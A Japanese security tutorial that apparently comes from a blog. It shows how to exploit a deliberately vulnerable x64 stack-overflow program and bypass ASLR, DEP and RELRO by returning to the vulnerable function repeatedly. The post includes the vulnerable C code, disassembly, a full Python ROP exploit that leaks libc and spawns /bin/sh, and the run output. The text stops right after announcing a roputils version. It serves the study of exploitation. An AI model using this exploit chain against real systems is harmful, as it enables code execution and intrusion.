x64でDynamic ROP + Return-to-vulnによるASLR+DEP+RELRO回避をやってみる
「x64でDynamic ROPによるASLR+DEP+RELRO回避をやってみる」では、libcバイナリを読み出しその中に含まれるgadgetを利用してROPを行うことでシェル起動を行った。 しかし、コンパイラによっては実行ファイルにleave命令が存在しない場合があり、このような場合にはleave命令を使ったstack pivotを行うことができず、次のROPシーケンスに実行を移すことができない。 そこで、ここではstack pivotを行う代わりに同一の脆弱性を複数回利用することで、x64環境かつASLR+DEP+RELROが有効な条件下でのシェル起動をやってみる。 また、ここではこの方法を便宜上Return-to-vulnと呼ぶことにする。
環境
Ubuntu 12.04 LTS 64bit版
$ uname -a Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3 $ clang --version Ubuntu clang version 3.0-6ubuntu3 (tags/RELEASE_30/final) (based on LLVM 3.0) Target: i386-pc-linux-gnu Thread model: posix
脆弱性のあるプログラムを用意する
まず、スタックバッファオーバーフローを起こせるプログラムを書いてみる。
/* bof.c */ #include <unistd.h> int main() { char buf[100]; int size; read(0, &size, 8); read(0, buf, size); write(1, buf, size); return 0; }
このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。
ASLR、DEP、RELRO有効、SSP無効でコンパイルし実行してみる。 ただし、ここではコンパイラとしてgccではなくclangを使う。
$ sudo apt-get install clang $ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ clang -fno-stack-protector -Wl,-z,relro,-z,now bof.c $ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out AAAA
コンパイラによる出力の違いを確認してみる
コンパイラとしてgccではなくclangを使った場合、関数のエピローグでスタックポインタを戻すときleave命令ではなくadd命令が使われるようになる。 実際にmain関数のプロローグ、エピローグを調べると次のようになる。
$ objdump -d a.out | sed -n '/<main>:/,/^$/p' 0000000000400550 <main>: 400550: 55 push rbp 400551: 48 89 e5 mov rbp,rsp 400554: 48 81 ec 90 00 00 00 sub rsp,0x90 ... 4005ba: 48 81 c4 90 00 00 00 add rsp,0x90 4005c1: 5d pop rbp 4005c2: c3 ret
$ gcc -fno-stack-protector -Wl,-z,relro,-z,now bof.c -o a.out.gcc $ objdump -d a.out.gcc | sed -n '/<main>:/,/^$/p' 0000000000400544 <main>: 400544: 55 push rbp 400545: 48 89 e5 mov rbp,rsp 400548: 48 83 c4 80 add rsp,0xffffffffffffff80 ... 400595: c9 leave 400596: c3 ret
clangでコンパイルした場合、スタックポインタを戻す際leave命令の代わりにadd命令+pop命令が使われていることがわかる。 一般にstack pivotではleave命令を使いrspにrbpの値をセットすることが多いが、このような場合rspを指定したアドレスに書き換えることは難しくなる。
しかし、このような場合でも脆弱性のある関数に繰り返しリターンすることで、ROPシーケンスの読み込みと実行を繰り返し行えることがある。
エクスプロイトコードを書いてみる
最初に、実行ファイルからセクション情報およびディスアセンブル結果を出力しておく。
$ readelf -S a.out > dump.txt $ objdump -d a.out >> dump.txt
上で出力した情報をもとに、脆弱性のある関数に繰り返しリターンし、Dynamic ROPを行うエクスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen, PIPE bufsize = int(sys.argv[1]) addr_bss = 0x0000000000601010 # readelf -S a.out addr_got_read = 0x600fe8 # objdump -d -j.plt a.out addr_got_write = 0x600fe0 # objdump -d -j.plt a.out addr_got_start = 0x600ff0 # objdump -d -j.plt a.out addr_main = 0x0000000000400550 # nm a.out addr_set_regs = 0x400636 # pop junk/rbx/rbp/r12/r13/r14/r15; ret addr_call_r12 = 0x400620 # mov rdx, r15; mov rsi, r14; mov edi, r13d; call [r12+rbx*8]; # -> add rbx, 1; cmp rbx, rbp; jne addr_call_r12; jmp addr_set_regs stacksize = 0x400 base_stage = addr_bss + stacksize p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) # stage 1: # read address of __libc_start_main() buf = 'A' * bufsize buf += 'A' * (8-len(buf)%8) buf += 'AAAAAAAA' * 2 buf += struct.pack('<Q', addr_set_regs) buf += 'AAAAAAAA' buf += struct.pack('<Q', 0) # rbx == 0 buf += struct.pack('<Q', 1) # rbp == rbx+1 buf += struct.pack('<Q', addr_got_write) # r12 -> call [r12] buf += struct.pack('<Q', 1) # r13 -> edi buf += struct.pack('<Q', addr_got_start) # r14 -> rsi buf += struct.pack('<Q', 8) # r15 -> rdx buf += struct.pack('<Q', addr_call_r12) buf += 'AAAAAAAA' buf += 'AAAAAAAA' # rbx buf += 'AAAAAAAA' # rbp buf += 'AAAAAAAA' # r12 buf += 'AAAAAAAA' # r13 buf += 'AAAAAAAA' # r14 buf += 'AAAAAAAA' # r15 buf += struct.pack('<Q', addr_main) p.stdin.write(struct.pack('<Q', len(buf))) p.stdin.write(buf) print "[+] read: %r" % p.stdout.read(len(buf)) addr_libc_start = struct.unpack('<Q', p.stdout.read(8))[0] print "[+] addr_libc_start = %x" % addr_libc_start # stage 2: # read libc binary libc_readsize = 0x160000 buf = 'A' * bufsize buf += 'A' * (8-len(buf)%8) buf += 'AAAAAAAA' * 2 buf += struct.pack('<Q', addr_set_regs) buf += 'AAAAAAAA' buf += struct.pack('<Q', 0) # rbx == 0 buf += struct.pack('<Q', 1) # rbp == rbx+1 buf += struct.pack('<Q', addr_got_write) # r12 -> call [r12] buf += struct.pack('<Q', 1) # r13 -> edi buf += struct.pack('<Q', addr_libc_start) # r14 -> rsi buf += struct.pack('<Q', libc_readsize) # r15 -> rdx buf += struct.pack('<Q', addr_call_r12) buf += 'AAAAAAAA' buf += struct.pack('<Q', 0) # rbx == 0 buf += struct.pack('<Q', 1) # rbp == rbx+1 buf += struct.pack('<Q', addr_got_read) # r12 -> call [r12] buf += struct.pack('<Q', 0) # r13 -> edi buf += struct.pack('<Q', base_stage) # r14 -> rsi buf += struct.pack('<Q', 100) # r15 -> rdx buf += struct.pack('<Q', addr_call_r12) buf += 'AAAAAAAA' buf += 'AAAAAAAA' # rbx buf += 'AAAAAAAA' # rbp buf += 'AAAAAAAA' # r12 buf += 'AAAAAAAA' # r13 buf += 'AAAAAAAA' # r14 buf += 'AAAAAAAA' # r15 buf += struct.pack('<Q', addr_main) p.stdin.write(struct.pack('<Q', len(buf))) p.stdin.write(buf) print "[+] read: %r" % p.stdout.read(len(buf)) libc_bin = p.stdout.read(libc_readsize) print "[+] len(libc_bin) = %x" % len(libc_bin) buf = struct.pack('<Q', base_stage + 16) buf += struct.pack('<Q', 0) buf += "/bin/sh\x00" buf += 'A' * (100-len(buf)) p.stdin.write(buf) # stage 3: # execve("/bin/sh", {"/bin/sh", NULL}, NULL) addr_pop_rax = addr_libc_start + libc_bin.index('\x58\xc3') # pop rax; ret addr_pop_rdi = addr_libc_start + libc_bin.index('\x5f\xc3') # pop rdi; ret addr_pop_rsi = addr_libc_start + libc_bin.index('\x5e\xc3') # pop rsi; ret addr_pop_rdx = addr_libc_start + libc_bin.index('\x5a\xc3') # pop rdx; ret addr_syscall = addr_libc_start + libc_bin.index('\x0f\x05') # syscall nr_execve = 59 # grep execve /usr/include/x86_64-linux-gnu/asm/unistd_64.h buf = 'A' * bufsize buf += 'A' * (8-len(buf)%8) buf += 'AAAAAAAA' * 2 buf += struct.pack('<Q', addr_pop_rax) buf += struct.pack('<Q', nr_execve) buf += struct.pack('<Q', addr_pop_rdi) buf += struct.pack('<Q', base_stage + 16) buf += struct.pack('<Q', addr_pop_rsi) buf += struct.pack('<Q', base_stage) buf += struct.pack('<Q', addr_pop_rdx) buf += struct.pack('<Q', 0) buf += struct.pack('<Q', addr_syscall) p.stdin.write(struct.pack('<Q', len(buf))) p.stdin.write(buf) print "[+] read: %r" % p.stdout.read(len(buf)) p.stdin.write("exec /bin/sh <&2 >&2\n") p.wait()
このコードは、オーバーフローさせるバッファのサイズを引数に取る。 コードの内容を簡単にまとめると次のようになる。
- __libc_csu_init gadgetsを使ってwrite関数を呼び出し、GOTから__libc_start_main関数のアドレスを書き出す
- 脆弱性のあるmain関数にリターンし、再度スタックバッファオーバーフローを起こす
- 再度write関数を呼び出し、__libc_start_main関数を起点として0x160000バイトを書き出す
- 続けてread関数を呼び出し、適当な書き込み可領域に必要なデータを読み込ませる
- 脆弱性のあるmain関数にリターンし、再度スタックバッファオーバーフローを起こす
- 書き出したlibcバイナリから必要なgadgetを探し、これを使ってシステムコール実行を行う
ここでは、stack pivotを行う代わりに脆弱性のある関数にリターンすることで次のROPシーケンスの読み込み、実行を行っている。 スタックバッファオーバーフローに限らず、ヒープオーバーフローによるvtable overwriteなどでも、一度利用した脆弱性を繰り返し再現できる状況であれば同様のことが可能である。
引数をセットし実行すると、次のようになる。
$ python exploit.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6\x06@\x00\x00\x00\x00\x00AAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xe0\x0f`\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xf0\x0f`\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00 \x06@\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP\x05@\x00\x00\x00\x00\x00' [+] addr_libc_start = 7f5d1f6f86a0 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6\x06@\x00\x00\x00\x00\x00AAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xe0\x0f`\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xa0\x86o\x1f]\x7f\x00\x00\x00\x00\x16\x00\x00\x00\x00\x00 \x06@\x00\x00\x00\x00\x00AAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xe8\x0f`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x14`\x00\x00\x00\x00\x00d\x00\x00\x00\x00\x00\x00\x00 \x06@\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP\x05@\x00\x00\x00\x00\x00' [+] len(libc_bin) = 160000 [+] read: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp\xa9o\x1f]\x7f\x00\x00;\x00\x00\x00\x00\x00\x00\x00\x12\x9ao\x1f]\x7f\x00\x00 \x14`\x00\x00\x00\x00\x00E\xado\x1f]\x7f\x00\x00\x10\x14`\x00\x00\x00\x00\x00\x8d/y\x1f]\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd3'p\x1f]\x7f\x00\x00" $ id uid=1000(user) gid=1000(user) groups=1000(user) $
ASLR+DEP+RELROが有効な条件下で、leave命令によるstack pivotを使わずにシェルが起動できていることが確認できた。
なお、上のコードをroputilsを使って書いた場合は次のようになる。